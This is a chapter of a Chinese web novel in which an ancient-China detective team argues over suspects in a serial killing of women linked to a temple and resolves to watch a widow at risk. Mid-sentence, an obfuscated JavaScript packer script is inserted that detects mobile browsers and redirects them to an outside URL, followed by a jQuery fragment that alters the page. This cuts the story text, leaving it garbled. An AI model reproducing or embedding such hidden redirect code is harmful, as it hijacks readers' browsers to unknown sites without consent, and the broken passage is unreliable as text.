34. 江州连环杀人案(5)

作品:《古代刑侦日志:我的线人都是小动物

    义庄那边果然有发现。


    江州府衙赶过去的仵作确认另外三件嫁衣内同样藏有深灰色织物碎片后,这条线索的分量陡然增加,但也让案情更加扑朔迷离。


    议事厅内灯火通明,气氛却比往日凝重几分。寇晟端坐上首,听取各方汇报。


    余肖红先将最新得到的分析结果呈上:“四名死者身上嫁衣里找到的织物碎片确认同源,也都附着陈年墨渍与蠹蛀纸粉,此人需经常接触此类旧物。”


    赵统领沉声补充:“四名死者生前确实曾向身边亲人透露过她们在慈恩寺得到过禅师的劝慰,都说过‘有了希望’之类的话语。”


    负责现场勘查的铁捕快,六扇门缉凶组的成员,面庞黝黑,不善言辞,但他的汇报最精简:“门窗上留下的印迹应是爪钩一类的工具,工艺精巧,非寻常匠人所为。卑职已撒网暗访,暂无头绪。”


    与此同时,六扇门其他人对前三名死者生前社会关系的补充调查也有了结果。


    三名女子,第一位是绣娘芸娘,父母早亡,靠微薄工钱养活弟妹,备受坊主盘剥;第二位是寡妇刘氏,丈夫横死后遭夫家族人侵吞田产,生活困顿;第三位是位家道中落的柳淑贞柳小姐,婚事屡遭挫折,心境抑郁。她们都与第四位死者崔月娥一样,是身处困境、心灵脆弱的独身女子。


    “而周娘子,”林霜翻着刚收集来的资料,“本名周婉,其夫三个月前病故,留下一个七岁的儿子和几亩薄田。夫家叔伯觊觎田产,近来逼迫甚紧,甚至散布谣言说她克夫,欲将其赶出家门。她最近几乎每日都去慈恩寺上香祈福,在观音殿前一跪就是许久,符合‘心苦、独身、频繁入寺’的特征。”


    缉凶司的孙副手越听,眉头皱得越紧,此时忍不住开口:“寇大人,各位同僚,不是属下泼冷水。眼下线索虽多,但几个僧人,普法常去后山摘花,法净管着药,慧觉整日与旧经书打交道,慧明大师德高望重……似乎都与此案沾点边,但又似乎都不像。咱们这么查下去,万一方向错了,或者打草惊蛇,那净尘,就只能是真凶了。”


    他这话,道出了一部分人的疑虑。


    另一位江州府衙调来协理的文吏立刻附和道:“孙副手所言不无道理。办案讲究证据确凿,如今我们更像是……凭感觉猜测。周娘子或许只是寻常香客,与僧人交谈也是常事。若因我们过度关注,反而引得流言蜚语,坏了慈恩寺名声,也扰得周娘子更加不安,岂非不妥?眼下,我们是否应更专注于调查净尘案的细节?他有没有可能就是真凶呢?”


    穆青青能感觉到,随着时间推移和外界压力,专案组内部并非铁板一块。


    有像赵统领、余肖红、林霜这样,基于线索坚定追查的;也有像孙副手这样,开始怀疑现有方向、倾向于稳妥甚至略显消极的;还有像那位文吏般,只想要快速结案的。


    寇晟面色沉静,目光缓缓扫过众人,手指在案几上轻轻一点,声音不大,却带着定鼎般的力度。


    “查案如抽丝,急不得,也乱不得。净尘一案疑点未消,真凶极可能还藏身在寺内。周娘子符合受害者的几乎所有特征,且处于孤立无援之境,风险最高。此非臆测,乃基于前四个受害者的合理推断。不能因困难或非议,便对潜在的危险视而不见。”


    他略作停顿,目光扫过堂下众人,声音沉稳:


    “赵统领,你带人深挖普法、法净、慧觉、慧明四人与死者间的细微交集,案发前后行踪务必查实。”


    “孙副手,”他转向另一位头目,“你组重点核查四僧出身来历、过往经历,看根子上有无异常。两线并行,交叉印证。”


    “林霜,你加派人手,隐蔽监控周娘子居所,确保安全,记录一切可疑之处。”


    “铁捕头,特制爪钩线索不能断,扩大查访匠人范围。”


    他最后看向精于药毒辨析的余肖红,“余捕快,那织物碎片上的墨渍、纸粉等分析需再精进一步。看看能否剥离出更独特的标记,或者推断出其原属物品更精确的年份、来源。”


    寇晟手按案卷,目光锐利:“诸位,此案非同小可,四条人命,满城惶惶。六扇门办案,讲究的不是快,而是准;不是声势,而是扎实。每一个推断,都要有实据支撑;每一个嫌疑,都要经得起反复推敲。我们要面对的,是死者无法瞑目的冤魂,是律法不容亵渎的尊严,更是我们这身公服背后,百姓期盼安宁的眼睛。”


    他的话语在厅堂内回荡,带着一种沉甸甸的分量。


    原本有些浮动的人心,在这清晰的指令和沉肃的准则面前,暂时被压了下去。众人齐声应诺,各自领命而去。


    穆青青站在一旁,将这一切看在眼里。


    寇晟不仅是在分派任务,更是在统一思想,凝聚力量。她心中对这位年轻的六扇门少主不由得又高看了几分。


    此案迷雾重重,前路难测,但有这样的统领和同僚在侧,她感到一种莫名的踏实。


    就在此时,周婉的处境却急转直下。


    第二日,没有分配到具体任务的穆青青带着陈五、张猛两名江州捕快前往榆钱巷,想尝试以缓和的方式提醒周娘子。


    还未近前,便听见周家小院里传来激烈的吵骂声,间杂着孩童惊恐的哭声。


    赶到时,只见以三角眼大伯为首的周家族人几乎要冲进屋内,周婉披头散发,死死护着吓得大哭的儿子,脸上有泪痕,也有绝望的狠厉。


    “官爷!官爷你们评评理!”三角眼大伯一眼看到穆青青等人,抢先喊道,“这恶妇昨日竟敢去衙门击鼓,告我们欺凌寡妇幼子!分明是她想独吞家产,反咬一口!这等不贤不孝、搅乱亲族的妇人,留之何用?”


    周婉猛地抬头,看到着一身官服的穆青青时,眼中闪过一丝复杂难明的情绪。


    有


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17095938|194137||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    昨日鼓响后依旧无人能真正帮她、反遭亲戚变本加厉报复的怨愤,也有对官府深深的失望与不信任。


    她嘶声道:“你们来做什么?看笑话吗?还是觉得我们母子被逼得不够惨?我告诉你们,我就算死,也要拉着这些吃绝户的一起!谁也别想好过!”她状若疯虎,抄起手边的板凳就要砸。


    陈五、张猛赶紧上前拦住,好言安抚,分开双方。场面混乱不堪。


    穆青青心知,此刻任何关于“小心凶手”的提醒,在周婉听来都像是讽刺或别有用心。


    她只能对周婉轻声道:“周娘子,衙门既然接了你的状子,自会依律查办。但你与孩子眼下的处境,自己需万分谨慎。门户紧锁,切莫独处险地。”


    周婉却只是冷笑,根本听不进去。


    最终,这场闹剧在随后赶来的街坊们的劝解下暂时平息。周家族人骂骂咧咧散去,扬言绝不善罢甘休。周婉紧紧搂着儿子,看着穆青青等人离开的背影,眼神空洞而决绝。


    回到驿馆,穆青青心情沉重。


    周婉的反应在情理之中,却让保护她的难度倍增。


    情况汇报上去后,寇晟沉吟不语。


    赵统领道:“周氏如今对官府极不信任,常规保护难以实施,强行安排反而可能逼她做出更不理智的事,或将凶手彻底惊走。”


    孙副手叹了口气:“或许真是我们多虑了?周氏与族亲矛盾激烈,已惹来众人的关注,她也并非独自一人居住,下一个受害者未必是她。”他的怀疑论调又起。


    余肖红立即反驳:“周氏身边只有一个七岁男童,与独居也无甚差别。而其他经历却与前面四位受害者极其相似,怎就不可能是她?”


    林霜也道:“监视周娘子家的人回报,除了其族亲,暂未发现其他可疑人物长期窥探,但不排除凶手极其谨慎。”


    寇晟抬手止住争论,目光锐利:“无论周娘子因何陷入绝境,她现在都是最符合连环凶手目标特征的人。我们不能赌那个‘万一’。既然明面上保护行不通……”他停顿片刻,似在权衡,最终道,“林霜,将外围监视再撤远一些,只留下最隐蔽的观察点,记录异常即可,非生死关头不得干预。我们需要给凶手‘创造’一个他认为安全的机会。”


    众人闻言一怔。撤走大部分保护?这岂不是将周娘子置于险地?


    寇晟继续道:“同时,赵统领、孙副手,你们两组的调查必须加快,我要在最短时间内,看到关于那四位僧人最详尽、甚至挖掘到他们过往隐秘的报告。余捕头,准备好可能用到的解毒或唤醒药物。铁捕头,爪钩的溯源不能停。”


    他的安排,似乎隐含着一个极为冒险的计划,却没有明说。


    穆青青隐约感到寇晟的意图,那或许是一个置之死地而后生的险招。


    她看向寇晟,寇晟也正看着她,眼神深邃,带着嘱托,却并未言明。